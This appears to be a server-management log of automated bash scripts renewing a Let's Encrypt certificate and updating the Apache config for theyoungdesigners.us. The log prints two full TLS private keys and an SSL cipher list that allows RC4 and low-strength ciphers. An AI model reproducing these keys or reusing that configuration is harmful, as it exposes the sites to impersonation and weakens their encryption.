A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBROByGmD8gD/i3WFNoYVgyDSlnafjAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTAuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGc
LGMidQAABAMARjBEAiALfOD8aJiq1/zKARj9zeGBwdo9R5kkRb0s24ieRfPitgIg
QVBPlkm/WxmutpnpR9QDcSSZgpiVsFmUUY1GWGavYe8AdwDLOPcViXyEoURfW8Hd
+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZwsYyKGAAAEAwBIMEYCIQD2f5iFMDHm5E70
/xekTeR+B8F+0G9XpY07isJwJbAt8wIhAIPlqMju0RP52gc63T1vp9fFwNlotVc9
KIAXrS8EhY82MA0GCSqGSIb3DQEBCwUAA4IBAQAzgui/TuGA0JCBLVF+FgfNBeb0
CTgXt0dq4TOCVRAZxmVpM/rZ5qkTVb2GvPK+xQCCRMCDZzz0wZcfJOo1deL+S2RZ
YSBBLkcJLSCTlWEtTLxbhPGzxoLUMnkbv4EPiFBOB6WvzHHtZTKX+/nIGfo6A//y
5RwpWzuEYdfH2z1Us+SKIkLxYRp9jjhvqiEBP5lsPLl3GCQUFO/kxDlIBj+PqecT
e2L0jTHdvJKcsnrpLIOWzyKJiBHU7LJ65d+4kp83IFwjt6DlppOxVoVlklVv7INB
L2F+TIR/yegEuWLhIK6SPro8RZ3gcOuEgn8JrdzAzMl3b1EF+jw9eP3xKx/l
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCXlZkIXSc/TrFr
Z0rVxOOP5THDl14FsJYDI15YSLXbhHpHY0K7nVYJLk3h/Wqxb074VqTQPtvaC5Sj
xV80mhN96vpBH7mCaQP8IXhnkq33oDoc1cuxQHfiShuvl75F1qPsdxuIZwh3CJtS
jaKkqxfJKgwlF1vaCL6qVFUL0yqY56s/0PdJTHJgDhigdL1DcqZmELkii29QjZaA
VgZdHDB2F0p6h3iRb9DvZcPz4SseW/ttDXAbwFIf7Dnb6/Tw+R9EnxQrk6QxoFJ9
qCWFb2MbEJQUidlJjwSqcr0wmz+f31vbXzbIHAy3XObXjy3ajZhM44cKGCL9EM01
tYPtL5jnAgMBAAECggEANPhgZUVUITHJGvyZ8JCgatjPJoe/IeLe0RLrdZNXBXJK
Xqbnm3M0LPoi2i15uq5oXKy+ZE0K+6ufUgl3JwUOeaqCr/47j8BN1a4Gir79jvJN
TGVDjFm4avm1qgsvQO1sFAZdNzG2Cg6WZGc9Jijpo3DPlKiQfuUeZ5wXqg2tLYgB
med9UjNoMkYsFh//0lrqagrci5rhaDrU48Qdg1iU9zLEzi274g+XjWyENKNzkQZv
Vj/pVHWO3G/0of+BmUTASaTpURbcjdpWcKCKwURRmnXIejPOEcfKHMEzxAfoDUYw
WZ5jN9Tye7Y28GpGU1E+7oY89UyvP88fTArb1YUSxQKBgQDK1s4XScHleVS5C+O9
CizDU+h6G2DNgewmS1tF1+tqPOE+SufQ2ze49L0cnoj2cUZZOGNP32acD4dshSlZ
1r5Vq4BGTlpmuDTxyJJpJg/PWOoNgP4EDMCwlo+q4hTDKDkV0jgMdDiXh92S1Eup
eae9NByD/aI+/a+Nv5hzQ0o5TQKBgQC/T+6C3TAOvDszJKusQ9yeLISmlCA1SXMY
6Ku1BKq4dycxDA3IekrgpuS1KMIULOn9TSAg+wUjXCgi+2X4XCk1f3bBaVjmrYz5
+qc+w5jjyr4Gpudlo1AIEf6Nm0BV958lYWcvceUTOQCXqZPqFVN9afmG4S6d/8RX
p60pEqYhAwKBgD+uJm+bQVtotxeNSwdLTXhZPHAxbje2pUv0dog73HWy/UgQPi0M
1bakZ0a34unz8BEMqekmitFN8sc4Gx5QU9sTh6cK7Ei5Zi3OOWD3iRkgogJxT843
rrsB2cLdTYVjeGCIaf5G8oloJ0D0k3h2cBnvZVBu7WP3QwkucI8nPgM1AoGAaZ7h
mVIwdBIrxOKb/PFCXflKCwWAeqrgZoIeOkQnVMxD0OpMub/6kujRH8suyyC41mW8
NTkg7xKz/gw5kdKf1a9XixR0RnbOfDyMFTS7thd6rgV7fzuYtbvpg5iQ/mVFccfC
xgjlZaV01EaFKRk5DOZzIqozqHtKlPI3wZNQMK0CgYEAlC1NQyDvawbu3kg940tc
C+ZcdE8aKEvd2GV4PsRJq174snr8wWNosZFQDKa2jaMZO780l3rBCv8TillprIBV
QRI3IZpABPMCIbmNjME+5KQeSFXcsWHgEAWjwqkQZmctmXetrIWxk2G/IZyR3bok
io3d3NN5aYbvNPEY2blPKos=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-05 06:00:32: Establishing a connection
2026-02-05 06:00:32: Establishing a connection
2026-02-05 06:00:33: 

PUT: /tmp/pkp790734

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-05 06:00:33: 

chmod 755 /tmp/pkp790734; /tmp/pkp790734; rm /tmp/pkp790734

2026-02-05 06:00:33: 


1


2026-02-05 06:00:34: Establishing a connection
2026-02-05 06:00:34: 

PUT: /tmp/pkp410843

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cat > mMibz-1YTHpe_UNToX2v6_nIf5lpbDN7yPgt5y0bNUM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
mMibz-1YTHpe_UNToX2v6_nIf5lpbDN7yPgt5y0bNUM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 mMibz-1YTHpe_UNToX2v6_nIf5lpbDN7yPgt5y0bNUM
cat > nmKXTPouqV2ScnHkZH_GMNbnKWNttOmskHSd_P8qCoo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nmKXTPouqV2ScnHkZH_GMNbnKWNttOmskHSd_P8qCoo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nmKXTPouqV2ScnHkZH_GMNbnKWNttOmskHSd_P8qCoo


2026-02-05 06:00:34: 

chmod 755 /tmp/pkp410843; /tmp/pkp410843; rm /tmp/pkp410843

2026-02-05 06:00:34: 




2026-02-05 06:00:41: Establishing a connection
2026-02-05 06:00:42: 

PUT: /tmp/pkp629415

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
rm mMibz-1YTHpe_UNToX2v6_nIf5lpbDN7yPgt5y0bNUM
rm nmKXTPouqV2ScnHkZH_GMNbnKWNttOmskHSd_P8qCoo


2026-02-05 06:00:42: 

chmod 755 /tmp/pkp629415; /tmp/pkp629415; rm /tmp/pkp629415

2026-02-05 06:00:42: 




2026-02-05 06:00:42: Establishing a connection
2026-02-05 06:00:42: 

PUT: /tmp/pkp615031

#!/bin/bash
temp_file=$(mktemp)
TARGET=f13c10b0bf992120e8f0bf3f4c84b2c5.crt

cat > $temp_file <<'endmsg'
9a:f4:39:bc:96:8c:75:e1:62:cf:32:4f:06:eb:28:c4

-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBgYTDKF5mlpyE/vFNiNCE1MAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA1MDUwMjEwWhcNMjYwNTA2MDUwMjA5WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAIwUQgUKZHUGIR0DPbLVZbeiFczkjxzkO+bj5PGuaaVh6UZq0mCj+3tL
6LYm04nH6BlubfGfEo03SMoRkhR+NuobuhF2cWUTOsJyCXrvBf9DxMbbnGagssAJ
1SSEFJ3hSBbU64A8rL5NVZuef0+68b1Pe6xStuPHPhKORNN/FQRD4jYed53G4zTb
ZyqmJJqf5aXtmBiekYSEt4UHUgZLa17DNKQ1k3Epzi+qx9POJQtWxNsR/33Mfpls
5GEfaPVrxY3IswGU2SiosS+WE2RNinwVTASviBuiYxpSS3hP1oaqgnaCMWO2nuCB
cbeWQymbS2O10lL5TDsfSx87luLPWXkCAwEAAaOCAkYwggJCMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQU7g7+dNCWCdfyqcjcH2vw65q+UEAwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu
8ppZzUcKaQWFsMsUwxRY5wAAAZwsY3DvAAAEAwBIMEYCIQCFab7dY1R1IIbnoXOi
U+h8abqfUfODBTWQDEGBXcEqXQIhAKakDeSinnd89I4rraJFTm6G9+Af2JLfd3gS
apVja9cdAH4AGoudaUpXmMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGcLGNy
JgAIAAAFAEIj9HcEAwBHMEUCICSV3ZK4vh/rnzdDEBMWStGm8iiJxDkTvNnFySdf
uzPTAiEA8d/ieyK6MP3SolOgJrdg33q0vnWEfMR0njKFwN3fB9AwDQYJKoZIhvcN
AQELBQADggEBAKSphxZvX3L/YMxChCkRc+lfUz/3qoD5Vvpy5K9F6zu5rEDugUgW
XBJAsipRs8espkLUEBxRGYXwLKVnAKbNxcA+7xb2E33fof7bedSJcaarN0tCAiWg
BDQGD3i5T0r5o82QxUrYpnubn5hhwHu21+JgdNDscIwNDVsMAZRGblLF239ZeM7l
8jXMs8A129klaZ0b/0C2oMJ5RVQBfwCjP4JVe9MT5gksyZZMpH6fhrv6xze1xTrg
jJL6hfeEVx4oLAKnLKMUOXjGtH51fn74SnviQ5pzukdcLDOGuX+elROWz93KUzgi
B/iAwRFg/6Nn0Jbx910BJA3QwP9osUjRmlw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCMFEIFCmR1BiEd
Az2y1WW3ohXM5I8c5Dvm4+TxrmmlYelGatJgo/t7S+i2JtOJx+gZbm3xnxKNN0jK
EZIUfjbqG7oRdnFlEzrCcgl67wX/Q8TG25xmoLLACdUkhBSd4UgW1OuAPKy+TVWb
nn9PuvG9T3usUrbjxz4SjkTTfxUEQ+I2HnedxuM022cqpiSan+Wl7ZgYnpGEhLeF
B1IGS2tewzSkNZNxKc4vqsfTziULVsTbEf99zH6ZbORhH2j1a8WNyLMBlNkoqLEv
lhNkTYp8FUwEr4gbomMaUkt4T9aGqoJ2gjFjtp7ggXG3lkMpm0tjtdJS+Uw7H0sf
O5biz1l5AgMBAAECggEAP46Le+0AsoYi7R6E1ojze3PL72i+tG2r7jF1teCcZ6D6
rmwWYynUF1fUUR1hurCc0zkjIk+6I5+zY5fAT5MKyILnFDhI8ALfFM2YFpKwBmeR
t2Z6WqhMIkzzy/svvYizZEScS9V7zWaaUp8CBcN9HpebNg9bkxLaS6IIgWu2NfYJ
IqRqe+I8lJcoqSQj4FbFmdz8iaxVTNi0kkq8z2/w0dGZCRdNlcaynChomIQQO7Nb
YYn/akc0ieaCdYSh7FYWS40ob/hJuJsESGiX2xTl1RKUVCifvqWs1kz4D1lnif09
xi9zLU467dH/z1Wl1p0qhyI/gXLhQ5aWEY3HlArObwKBgQDBVBF57mwYG2JM5LnX
/PyBfcLNzPl6Eo1e0TEkmth8vkPaFs+9SuViFvav/pXbyjLtW540hySLqoSmiS0E
QcTHD2Hc1C9wnGseESI38uloo7oUnw0a3wA3mViD8V3a+DcUG9EG96wqX+Z2shIc
ZI/X/P0kB2ZaKFinjoejN5e66wKBgQC5fSQ0Zf5SZA+6SlvHuC3jeTSE/noi0hwc
6mhuJq0bWqAn+uQ394rhmLxRKZbKuxbOg9gVDV7YXlcn1XMKrfYmj1lx7z+XNfce
HaGm2hX9vzJSx+wYxyO8G+0rBpGjOxtUmbFJlLqZG8DKjHUw/+FWZOcJPLlbsjCv
qPcPSNPcKwKBgE96v2CQa3IRt/0Cv4CTaj/WMwMmtJ3CCMqlV/3DhyLpmb2MSUV6
CAmmhS5fjL56Ryub0dOoh5a/uJ86n/4zB7IKmeIOfZ5fQA5xXs7/l4PEY9jcdqfI
bC9vZJuB3GMMTqB+uxWRNv+Iw5eip51ynkxenrd0L1j7Y08nYo3wafmXAoGAHqEh
h12IP4ayaiq5OSOawENVftiexn03kzbKA9ZzI181ryRo5y0DS/lyr1xUwClgvL1c
wy0wCj6Z2cQPeSX8zaVCOeQt9gQ9SEXQWcMNepdF8hF9VSIdLoTWBxLQncm226N9
eQ8MORgyH8BN4cd/KEsFM6tJWHD2RSt7kJSQF30CgYAO+TLRophREP/D9XMZf9BG
EBTqpjKopGidpcZBXuVnLKYtbvsgkVkS3AvFVkoF79iTARtG0ljgvJoXQEjQ/d5S
Nk+Ricw9Ye7LJ/arDBKe/5JowOL0dDJ1xpaK97Zpp5gSAr4Lm3foKEY31A6pq7b6
Ubif3eYxihvgUcxnztTntw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-05 06:00:42: 

chmod 755 /tmp/pkp615031; /tmp/pkp615031; rm /tmp/pkp615031

2026-02-05 06:00:42: 


dir=/etc/ssl/certs


2026-02-05 06:00:42: 

PUT: /tmp/pkp638117

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-05 06:00:42: 

chmod 755 /tmp/pkp638117; /tmp/pkp638117; rm /tmp/pkp638117

2026-02-05 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf 48

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-05 06:00:42: 

PUT: /tmp/pkp163473

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_us.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf= 1'
fi


2026-02-05 06:00:42: 

chmod 755 /tmp/pkp163473; /tmp/pkp163473; rm /tmp/pkp163473

2026-02-05 06:00:42: 




2026-02-05 06:00:42: 

PUT: /tmp/pkp432777

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-05 06:00:42: 

chmod 755 /tmp/pkp432777; /tmp/pkp432777; rm /tmp/pkp432777

2026-02-05 06:00:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-05 06:00:42: Establishing a connection
2026-02-05 06:00:43: 

PUT: /tmp/pkp764479

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-05 06:00:43: 

chmod 755 /tmp/pkp764479; /tmp/pkp764479; rm /tmp/pkp764479

2026-02-05 06:00:43: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
